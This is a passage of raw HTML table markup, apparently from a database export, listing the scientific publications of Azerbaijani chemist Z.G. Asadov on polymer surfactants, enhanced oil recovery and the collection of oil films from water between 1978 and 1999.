width=\"121\"><p>pp. 365-366</p></td></tr><tr><td width=\"47\"><p>39.</p></td><td width=\"160\"><h2>Исследование&nbsp; нефтевытесняющей способности полиметакрилата натрия</h2></td><td width=\"160\"><h2>Вопросы нефтехимии. Сборник трудов ИНХП АН Азерб. Респ.</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><h2>АсадовЗ.Г.</h2><h2>Юсубов&nbsp; А.Ю.</h2><h2>Ага-заде А.Д.</h2></td><td width=\"112\"><h2>Баку: Элм</h2></td><td width=\"72\"><h2>1991</h2></td><td width=\"121\"><p>Вып. ХVII,С. 99-108</p></td></tr><tr><td width=\"47\"><p>40.</p></td><td width=\"160\"><h2>Синтез, свойства и применение гидрофильных полимеров и сополимеров оксиалкиловых эфиров (мет)акриловой кислоты</h2></td><td width=\"160\"><h2>Успехи химии</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Алиев В.С.</p></td><td width=\"112\"><h2>Россия,</h2><h2>Москва</h2></td><td width=\"72\"><p>1992</p></td><td width=\"121\"><p>т.61, вып.5.С. 139-156</p></td></tr><tr><td width=\"47\"><p>41.</p></td><td width=\"160\"><h2>Применение водорастворимых полимеров на основе акриловой&nbsp; кислоты и окиси пропилена в извлечении нефти методом мицеллярно-полимерного заводнения</h2></td><td width=\"160\"><h2>Нефть и газ. Известия высших учебных заведений</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Касимов А.А.</p><p>Алиев В.С.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1992</p></td><td width=\"121\"><p>№3-4.С. 31-34</p></td></tr><tr><td width=\"47\"><p>42.</p></td><td width=\"160\"><h2>Regularities and peculiarities for&nbsp; obtaining&nbsp; water-soluble surface-active (co)polymers of acrylic acid’s oxypropyl and chloroxypropyl esters</h2></td><td width=\"160\"><h2>İkinciAzərbaycan-Türkiyə “Polimer-92” Tebliq özetleri</h2></td><td width=\"160\"><h2>Asadov Z.G. Ahmadova G.A.</h2><h2>Aga-zade A.D.</h2><h2>Nasibova Sh.M.</h2><h2>Kasimov A.A.</h2><h2>Aliyev V.S.</h2><p>&nbsp;</p></td><td width=\"112\"><h2>Turkey,</h2><h2>Ankara</h2></td><td width=\"72\"><p>1992</p></td><td width=\"121\"><p>p. 136</p></td></tr><tr><td width=\"47\"><p>43.</p></td><td width=\"160\"><h2>Синтез и дериватографическое исследование водорастворимых полимеров на основе акриловой кислоты, окиси пропилена и гидроксида натрия</h2></td><td width=\"160\"><h2>Журнал Прикладной Химии</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Сеидрзаева М.М.</p><p>Касимов А.А.</p><h2>Алиев В.С.</h2></td><td width=\"112\"><h2>Россия,</h2><h2>Санкт-Петербург</h2></td><td width=\"72\"><h2>1992</h2></td><td width=\"121\"><p>№6.С.1425-1429</p></td></tr><tr><td width=\"47\"><p>44.</p></td><td width=\"160\"><h2>О возможности сбора нефти и нефтепродуктов в виде тонких пленок на водной поверхности с помощью композиций, содержащих полимеры и олигомеры на основе акриловых мономеров и эпоксисоединений</h2></td><td width=\"160\"><h2>&nbsp;Научно-практическая конференция «Экологические проблемы&nbsp; г.Баку и пригородских&nbsp; территорий». Бакинское отделение Экологического Союза Азербайджана</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Касимов А.А.</p><h2>Алиев В.С.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1992</h2></td><td width=\"121\"><p>С.17</p></td></tr><tr><td width=\"47\"><p>45.</p></td><td width=\"160\"><h2>Новый реагент для сбора тонких нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Материалы научно-практ. конференции по экологич. пробл. Азербайджана. II выпуск. Баку: Азерб.Респ. Ассоц. «Экология»</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Алиев В.С.</p><h2>&nbsp;</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1993</h2></td><td width=\"121\"><p>С.82</p></td></tr><tr><td width=\"47\"><p>46.</p></td><td width=\"160\"><h2>The synthesis, properties and applications of hydrophilic polymers and copolymers of hydroxyalkyl esters of acrylic and methacrylic acids</h2></td><td width=\"160\"><h2>Russian Chemical Reviews., vol.61, №5. P.550-568</h2></td><td width=\"160\"><h2>Асадов З.G.</h2><h2>Aliyev V.S.</h2></td><td width=\"112\"><h2>Russia</h2></td><td width=\"72\"><h2>1992</h2></td><td width=\"121\"><p>vol.61, №5. P.550-568</p></td></tr><tr><td width=\"47\"><p>47.</p></td><td width=\"160\"><h2>New oil-collecting and dispersing agent</h2></td><td width=\"160\"><h2>Second Baku International Symposium. «Energy, Ecology, Economy»</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><h2>Ismailova Kh.R.</h2><h2>Kasimov A.A.</h2><p>Aliyev V.S.</p></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><h2>1993</h2></td><td width=\"121\"><p>Р.79</p></td></tr><tr><td width=\"47\"><p>48</p></td><td width=\"160\"><h2>Products of ethylene-propylene synthetic rubber’s chemical modification as agents for enhanced oil recovery</h2></td><td width=\"160\"><h2>Second Baku International Symposium. «Energy, Ecology, Economy»</h2></td><td width=\"160\"><h2>Alosmanov R.M</h2><h2>Azizov A.A.</h2><h2>Akhmedov V.M.</h2><h2>Asadov Z.G.</h2><h2>Aga-zade A.D..</h2></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><h2>1993</h2></td><td width=\"121\"><p>P.13</p></td></tr><tr><td width=\"47\"><p>49.</p></td><td width=\"160\"><h2>Композиция для удаления нефти и нефтепродуктов с поверхности воды</h2></td><td width=\"160\"><h2>Заявка Азербайджанской Республики 000166А от 23/ХI 1993 г. Патент Р990073</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><h2>Касимов А.А.</h2></td><td width=\"112\"><h2>&nbsp;</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>50.</p></td><td width=\"160\"><h2>Частично гидрофобизированные полимерные ПАВ на основе акриловой кислоты, окиси пропилена&nbsp; и спиртов</h2></td><td width=\"160\"><h2>Первая Бакинская Международная Конференция по нефтехимии «Новые процессы, технологии, материалы. Баку-94»</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Касимов А.А.</p><p>Алиев В.С.</p><p>&nbsp;</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1994</p></td><td width=\"121\"><p>С.201</p></td></tr><tr><td width=\"47\"><p>51.</p></td><td width=\"160\"><h2>Железосодержащие водорастворимые&nbsp; акриловые сополимеры</h2></td><td width=\"160\"><h2>Первая Бакинская Международная Конференция по нефтехимии «Новые процессы, технологии, материалы. Баку-94»</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Новрузов О.Н.</p><p>Кулиев А.Д.</p><p>Гусейнова В.А.</p><p>Гамзаева Ш.М.</p><p>Алиев В.С.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1994</p></td><td width=\"121\"><p>С.215</p></td></tr><tr><td width=\"47\"><p>52.</p></td><td width=\"160\"><h2>Очистка водной поверхности от пленок нефтяного происхождения</h2></td><td width=\"160\"><h2>Экологические проблемы Азербайджана. Материалы научно-практической конференции по экологическим проблемам Азербайджана. III выпуск</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Эюбова С.К.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1994</p></td><td width=\"121\"><p>С.113-114</p></td></tr><tr><td width=\"47\"><p>53.</p></td><td width=\"160\"><h2>Композиция для удаления нефтяных пленок с поверхности водоемов</h2></td><td width=\"160\"><h2>Материалы научно-практической. конференции «Экология-93». Сумгаит</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Алиев В.С.</p></td><td width=\"112\"><h2>Сумгаит</h2></td><td width=\"72\"><p>1993</p></td><td width=\"121\"><p>С.13</p></td></tr><tr><td width=\"47\"><p>54.</p></td><td width=\"160\"><h2>Oil-collecting monocomponent reagents</h2></td><td width=\"160\"><h2>Third Baku International Congress</h2><p>«Energy, Ecology, Economy».&nbsp; Abstracts</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Ahmadova G.A.</p><p>Eyubova S.K.</p><p>Ismailova Kh.R.</p></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><p>1995</p></td><td width=\"121\"><p>P.87</p></td></tr><tr><td width=\"47\"><p>55.</p></td><td width=\"160\"><h2>Исследование собирания тонких нефтяных пленок с поверхности воды под воздействием нефтесобирающей и нефтедиспергирующей копозиции</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Алиев В.С.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1995</p></td><td width=\"121\"><p>№7-8. С.103-107</p></td></tr><tr><td width=\"47\"><p>56.</p></td><td width=\"160\"><h2>Новые поверхностно-активные сополимеры, содержащие одновременно анионо-и катионактивные, а также неионогенные функциональные группы</h2></td><td width=\"160\"><h2>II Бакинская Международная нефтехимическая конференция посвящ. памяти акад. Ю.Г. Мамедалиева. Тезисы докладов</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p><p>Эюбова С.К.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1996</p></td><td width=\"121\"><p>С.47</p></td></tr><tr><td width=\"47\"><p>57.</p></td><td width=\"160\"><h2>Изучение межфазного распределения нефтесобирающей и диспергирующей композиции и влияния минерализации и рН воды на ее действие</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1996</p></td><td width=\"121\"><p>№3. С.56-59</p></td></tr><tr><td width=\"47\"><p>58.</p></td><td width=\"160\"><h2>Способ изоляции поглощающего пласта при бурении скважины</h2></td><td width=\"160\"><h2>Заявка Азербайджанской Республики 96/000704 от 26/ VI 1995. Положит. решение от 20/1Х 1999.Е 21В 33/438</h2></td><td width=\"160\"><h2>Ахундов Ф.А.</h2><h2>Асадов З.Г.</h2><h2>Ага-заде А.Д.</h2></td><td width=\"112\"><h2>Азербайджан</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"121\"><p>№4</p></td></tr><tr><td width=\"47\"><p>59.</p></td><td width=\"160\"><h2>Нефтесобирающие олигомеры</h2></td><td width=\"160\"><h2>Материалы Международного симпозиума Азербайджан-Башкортостан «Проблемы экологии в нефтепереработке и нефтехимии»</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Исмаилова Х.Р.</p><h2>Эюбова С.К.</h2></td><td width=\"112\"><h2>Россия,</h2><h2>Уфа</h2></td><td width=\"72\"><h2>1995</h2></td><td width=\"121\"><p>Ч.А.С.4</p></td></tr><tr><td width=\"47\"><p>60.</p></td><td width=\"160\"><h2>Phosphation of&nbsp; a-olefines</h2></td><td width=\"160\"><h2>11-th Iranian Chemistry and Chemical Engineering Congress</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Barzegar Zenouz M.</p></td><td width=\"112\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p>1996</p></td><td width=\"121\"><p>P.17</p></td></tr><tr><td width=\"47\"><p>61.</p></td><td width=\"160\"><h2>New oil-collecting and dispergating reagents</h2></td><td width=\"160\"><h2>2-nd Iranian Congress of Chemical Engineering&nbsp; Book of Extended Abstracts.&nbsp; Tehran University of Technology</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Ahmadova G.A.</p><p>Barzegar Zenouz M.</p></td><td width=\"112\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p>1997</p></td><td width=\"121\"><p>P.258-259</p></td></tr><tr><td width=\"47\"><p>62.</p></td><td width=\"160\"><h2>New copolymers of polyelectrolyte nature based on 4-vinilpyridine and acrylic acid</h2></td><td width=\"160\"><h2>2-nd Iranian Congress of Chemical Engineering&nbsp; Book of Extended Abstracts.&nbsp; Tehran University of Technology</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Barzegar Zenouz M.</p></td><td width=\"112\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p>1997</p></td><td width=\"121\"><p>P.303-304</p></td></tr><tr><td width=\"47\"><p>63.</p></td><td width=\"160\"><h2>Synthesis&nbsp; and study of new water-soluble (co)polymers of polyelectrolyte nature based on amines, acrylic acid and epoxy compounds</h2></td><td width=\"160\"><h2>Journal of Engineering&nbsp;&nbsp; and Architectural Faculty of Osmangazi University, Eskishehir</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>&nbsp;Nourbakhsh M.</p><p>Barzegar Zenouz M. Akhmedova G.A.</p></td><td width=\"112\"><h2>Turkey, Eskishehir</h2></td><td width=\"72\"><p>1996</p></td><td width=\"121\"><p>Vol. IX, №2, P. 41-51.</p></td></tr><tr><td width=\"47\"><p>64.</p></td><td width=\"160\"><h2>New water-soluble polymers based on polyisobutylene</h2></td><td width=\"160\"><h2>Journal of Engineering and Architectural Faculty of Osmangazi University, Eskiseher</h2></td><td width=\"160\"><h2>Alosmanov R.M.</h2><p>Nourbakhsh M.</p><p>Azizov A.A.</p><p>Akhmedov V.M</p><p>Asadov Z.H.</p></td><td width=\"112\"><h2>Turkey,</h2><h2>Eskishehir</h2></td><td width=\"72\"><p>1996</p></td><td width=\"121\"><p>Vol. IX, №2, P. 33-40</p></td></tr><tr><td width=\"47\"><p>65.</p></td><td width=\"160\"><h2>Сополимеры оксипропилакрилата с акрилатными солями-водорастворимые нефтевытесняющие ПАВ</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><p>Алиев В.С.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1997</p></td><td width=\"121\"><p>№4. С.48-51,58</p></td></tr><tr><td width=\"47\"><p>66.</p></td><td width=\"160\"><h2>Исследование&nbsp; нефтевытесняющей способности модифицированных полимеров на основе хлорфосфорилированного полиизобутилена</h2></td><td width=\"160\"><h2>Ученые записки Азерб. Гос. Нефтяной Академии</h2></td><td width=\"160\"><h2>Алосманов Р.М.</h2><p>Азизов А.А.</p><p>Ахмедов В.М.</p><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ибрагимов А.Д.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1997</p></td><td width=\"121\"><p>№2. С.160-162,166</p></td></tr><tr><td width=\"47\"><p>67.</p></td><td width=\"160\"><h2>Synthesis of (chlor)oxypropylated derivatives of higher monocarboxylic&nbsp; acids</h2></td><td width=\"160\"><h2>8-th International Sympozium on Science and Technology of oil, gaz and Petrochemistry. National Оil Company of&nbsp; Iran. Tehran</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Akhmedova G.A.</p><h2>Barzegar Zenouz M.</h2></td><td width=\"112\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p>1997</p></td><td width=\"121\"><p>P.30</p></td></tr><tr><td width=\"47\"><p>68.</p></td><td width=\"160\"><h2>Фосфатированные олигомеры на основе эпоксисоединений</h2></td><td width=\"160\"><h2>Шестая Международная Конференция по химии и физико-химии олигомеров. Тезисы докладов</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p></td><td width=\"112\"><h2>Россия,</h2><h2>Казань</h2></td><td width=\"72\"><p>1997</p></td><td width=\"121\"><p>Т.1.С.276</p></td></tr><tr><td width=\"47\"><p>69.</p></td><td width=\"160\"><h2>Хлорирование полиизобутилена в присутствии малеинового ангидрида</h2></td><td width=\"160\"><h2>Ученые записки Азерб. Гос. Нефтяной Академии</h2></td><td width=\"160\"><h2>Алосманов Р.М.</h2><p>Азизов А.А.</p><p>Ахмедов В.М.</p><h2>Асадов З.Г.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1997</h2></td><td width=\"121\"><p>№3. С.240</p></td></tr><tr><td width=\"47\"><p>70.</p></td><td width=\"160\"><h2>Kinetic regularities of the reaction of polymethacrylic acid (PMAA) oxypropylation</h2></td><td width=\"160\"><h2>Azerbaijan Chemical Journal</h2></td><td width=\"160\"><p>Asadov Z.G.</p><p>Nasibova Sh.M</p><p>Yusubov A.Yu</p><p>Ahmedova G.A.</p></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><p>1998</p></td><td width=\"121\"><p>№1.P.15-19</p></td></tr><tr><td width=\"47\"><p>71.</p></td><td width=\"160\"><h2>Synthesis&nbsp; and polymerization of oxypropyl ester of acrylic acid</h2></td><td width=\"160\"><h2>Azerbaijan Chemical Journal</h2></td><td width=\"160\"><p>Asadov Z.G.</p><p>Ahmedova G.A.</p><p>Aga-zade A.D.</p></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><p>1998</p></td><td width=\"121\"><p>№1.P.72-75</p></td></tr><tr><td width=\"47\"><p>72.</p></td><td width=\"160\"><h2>Новые олигомерные и полимерные реагенты для удаления нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Тезисы материалов научно-практической конференции «Пути совершенствования Нефтяной науки в Азербайджане», посвящ. 70-летнему юбилею акад. А.Х. Мирзаджанзаде</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p><p>Исмаилова Х.Р.</p><p>Эюбова С.К.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"121\"><p>С.63</p></td></tr><tr><td width=\"47\"><p>73.</p></td><td width=\"160\"><h2>Новые неионогенные ПАВ на основе пеларгоновой кислоты и эпоксидов</h2></td><td width=\"160\"><h2>Тезисы докладов III Бакинской Международной Мамедалиевской нефтехимической конференции</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Ахмедова Г.А.</p><p>Ага-заде А.Д.</p><p>Барзегар Зенуз М.</p><p>Исмаилова Х.Р.</p><h2>Эюбова С.К.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"121\"><p>С.44</p></td></tr><tr><td width=\"47\"><p>74.</p></td><td width=\"160\"><h2>Синтез ПАВ на основе NH<sub>2</sub>-содержащих производных высших алканов и эпоксисоединений</h2></td><td width=\"160\"><h2>Тезисы докладов III Бакинской Международной Мамедалиевской нефтехимической конференции</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p><p>Исмаилова Х.Р.</p><p>Эюбова С.К.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"121\"><p>С.81</p></td></tr><tr><td width=\"47\"><p>75.</p></td><td width=\"160\"><h2>Кинетика радикального акцептирования при хлоркарбоксилировании полиизобутилена</h2></td><td width=\"160\"><h2>Тезисы докладов III Бакинской Международной Мамедалиевской нефтехимической конференции</h2></td><td width=\"160\"><p>Алосманов Р.М.</p><p>Азизов А.А.</p><p>Ахмедов В.М.</p><h2>Асадов З.Г.</h2><p>&nbsp;</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"121\"><p>С.319</p></td></tr><tr><td width=\"47\"><p>76.</p></td><td width=\"160\"><h2>Исследование&nbsp; нефтевытесняющих свойств фосфатированных олигомеров с различной длиной цепи на основе гетероциклических соединений</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>&nbsp;</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"121\"><p>№11. С.47-51</p></td></tr><tr><td width=\"47\"><p>77.</p></td><td width=\"160\"><h2>Исследование влияния длины цепи олигомеров на основе эпоксисоединений на их нефтесобирающую способность</h2></td><td width=\"160\"><h2>Нефть и газ. Известия высших учебных заведений</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><h2>Барзегар Зенуз М.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"121\"><p>№3-4, С. 38-42</p></td></tr><tr><td width=\"47\"><p>78.</p></td><td width=\"160\"><h2>Реакционноспособные олигомеры и полимеры. Синтез и применение (монография)</h2></td><td width=\"160\"><h2>Институт нефтехимических процессов (ИНХП) АН Азербайджана</h2></td><td width=\"160\"><h2>Азизов А.Г.</h2><p>Абдуллаев Я.Г.</p><p>Асадов З.Г.</p><p>Везиров Ш.С.</p><p>Гаджиев Т.А.</p><p>Насиров Ф.А.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>79.</p></td><td width=\"160\"><h2>Водорастворимые поверхностно-активные акриловые (со)олигомеры и (со)полимеры с оксипропильными фрагментами</h2></td><td width=\"160\"><h2>В кн.:Синтез и применение реакционноспособных олигомеров и полимеров. ИНХП АН Азербайджана</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><h2>Ахмедова Г.А.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"121\"><p>С.219-246</p></td></tr><tr><td width=\"47\"><p>80.</p></td><td width=\"160\"><h2>Poliakril turşusunun oksipropil törəmələrinin alınması üsulu</h2></td><td width=\"160\"><h2>Azərbaycan Respublikası Patenti</h2><h2>P 990025</h2></td><td width=\"160\"><h2>Əsədov Z.H.</h2><h2>Əliyev V.S.</h2><h2>Ağa-zadə Ə.D.</h2><h2>Nəsibova Ş.M.</h2><h2>Qasımov A.Ə.</h2><h2>Əhmədova G.A.</h2></td><td width=\"112\"><h2>Азярбайъан</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>81.</p></td><td width=\"160\"><h2>Poli(met)akril turşusunun oksipropilləşmiş törəmələri, neft laylarının polimerlə sulanması zamanı nefti sıxışdırıb çıxardıcı agent kimi</h2></td><td width=\"160\"><h2>Azərbaycan Respublikası Patenti</h2><h2>P 990027</h2></td><td width=\"160\"><h2>Əliyev V.S.</h2><h2>Əsədov Z.H.</h2><h2>Yusubov Ə.Y.</h2><h2>Ağa-zadə Ə.D.</h2><p>Ağayev F.M.</p><p>&nbsp;</p><h2>&nbsp;</h2><p>&nbsp;</p></td><td width=\"112\"><h2>Azərbaycan</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>82.</p></td><td width=\"160\"><h2>Синтез поверхностно-активных эфиров на основе алифатических монокарбоновых кислот (С<sub>9</sub>, С<sub>16</sub>, С<sub>18</sub>) и спиртов (С<sub>1</sub>-С<sub>4</sub>, С<sub>9</sub>-С<sub>12</sub>, С<sub>15</sub>) а также аминоэтанолов</h2></td><td width=\"160\"><h2>Тезисы докладов конференции «Тонкий органический синтез и катализ»</h2></td><td width=\"160\"><p>Ага-заде А.Д.</p><h2>Асадов З.Г.</h2><h2>&nbsp;</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"121\"><p>С. 72-73</p></td></tr><tr><td width=\"47\"><p>83.</p></td><td width=\"160\"><h2>Каталитическая конденсация высших алканолов (С<sub>10</sub>-С<sub>12</sub>, С<sub>14</sub>) с эпихлоргидрином</h2></td><td width=\"160\"><h2>Тезисы докладов конференции «Тонкий органический синтез и катализ»</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><h2>&nbsp;</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"121\"><p>С. 49-50</p></td></tr><tr><td width=\"47\"><p>84.</p></td><td width=\"160\"><h2>Флагман нефтехимической науки</h2></td><td width=\"160\"><h2>.</h2></td><td width=\"160\"><h2>Асадов З.Г. в коллективном соавторстве под ред. Руст</h2><div><br></div></td></tr></tbody></table>  <br></h5>'),(1563,973,'en','Ziyafaddin Asadov','Ziyafaddin Asadov','<div><br></div><div> <div><table cellspacing=\"0\" cellpadding=\"0\" width=\"832\"><tbody><tr><td width=\"47\"><p style=\"background:undefined \"><strong>N</strong></p></td><td width=\"160\"><p style=\"background:undefined \"><strong>Title of publication</strong></p></td><td width=\"160\"><p style=\"background:undefined \"><strong>Publications</strong></p><p style=\"background:undefined \"><strong>Type/publication</strong></p><p style=\"background:undefined \"><strong>activities</strong></p></td><td width=\"160\"><p style=\"background:undefined \"><strong>All authors</strong></p></td><td width=\"112\"><p style=\"background:undefined \"><strong>Publisher&nbsp;</strong><strong>&amp; place of publication</strong></p></td><td width=\"72\"><p style=\"background:undefined \"><strong>Year published</strong></p></td><td width=\"121\"><p style=\"background:undefined \"><strong>Vol.&nbsp;</strong><strong>&amp; pages</strong></p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">1.</p></td><td width=\"160\"><p style=\"background:undefined \">Полимеризация четвертичных солей 4-винилпиридина в органических средах</p></td><td width=\"160\"><p style=\"background:undefined \">Новые аспекты нефтехимического синтеза</p></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p></td><td width=\"112\"><p style=\"background:undefined \">Москва, ИНХС АН СССР</p></td><td width=\"72\"><p style=\"background:undefined \">1978</p></td><td width=\"121\"><p style=\"background:undefined \">С. 64-71</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">2.</p></td><td width=\"160\"><p style=\"background:undefined \">Полимеризация четвертичных солей 4-винилпиридина в органических средах</p></td><td width=\"160\"><p style=\"background:undefined \">Материалы юбилейной научной конференции, посвященной 60-летию Великой Октябрьской социалистической революции. Химфак МГУ</p></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p></td><td width=\"112\"><p style=\"background:undefined \">Москва, Деп. в ВИНИТИ,</p><p style=\"background:undefined \">№ 1805-78 от 31/V</p></td><td width=\"72\"><p style=\"background:undefined \">1978</p></td><td width=\"121\"><p style=\"background:undefined \">С.242-246</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">3.</p></td><td width=\"160\"><p style=\"background:undefined \">On the mechanism of zwitterionic polymerization&nbsp; of 4-vinylplyridine quaternary salts in organic media</p></td><td width=\"160\"><p style=\"background:undefined \">IUPAC Macro Mainz 26-th Int. Symp. Macromol. Mainz 1979. Prepr. Shоrt Commun. s.а.</p></td><td width=\"160\"><p style=\"background:undefined \">Aliyev K.V.</p><p style=\"background:undefined \">Asadov Z.G.</p><p style=\"background:undefined \">Kabanov V.A.</p></td><td width=\"112\"><p style=\"background:undefined \">Germany,</p><p style=\"background:undefined \">Mainz</p></td><td width=\"72\"><p style=\"background:undefined \">1979</p></td><td width=\"121\"><p style=\"background:undefined \">Vоl. 1, pp. 242-246</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">4.</p></td><td width=\"160\"><p style=\"background:undefined \">Механизм&nbsp; цвиттер-ионной полимеризации N- алкил-4-винилопиридиния в растворе и в условиях, моделирующих спонтанную полимеризацию в малополярных средах</p></td><td width=\"160\"><p style=\"background:undefined \">Механизм процессов полимеризации и новые области использования полимеров</p></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p></td><td width=\"112\"><p style=\"background:undefined \">Москва,</p><p style=\"background:undefined \">ИНХС АН СССР</p></td><td width=\"72\"><p style=\"background:undefined \">1980</p></td><td width=\"121\"><p style=\"background:undefined \">С.51-63</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">5.</p></td><td width=\"160\"><h2>Увеличение нефтеотдачи пластов с помощью химических реагентов</h2></td><td width=\"160\"><p style=\"background:undefined \">Деп.в ВИНИТИ №6304-82 от 22/ХII</p></td><td width=\"160\"><h2>Альтман Н.Б.</h2><p style=\"background:undefined \">Сидорчук И.И.</p><p style=\"background:undefined \">Бродская Е.С</p><p style=\"background:undefined 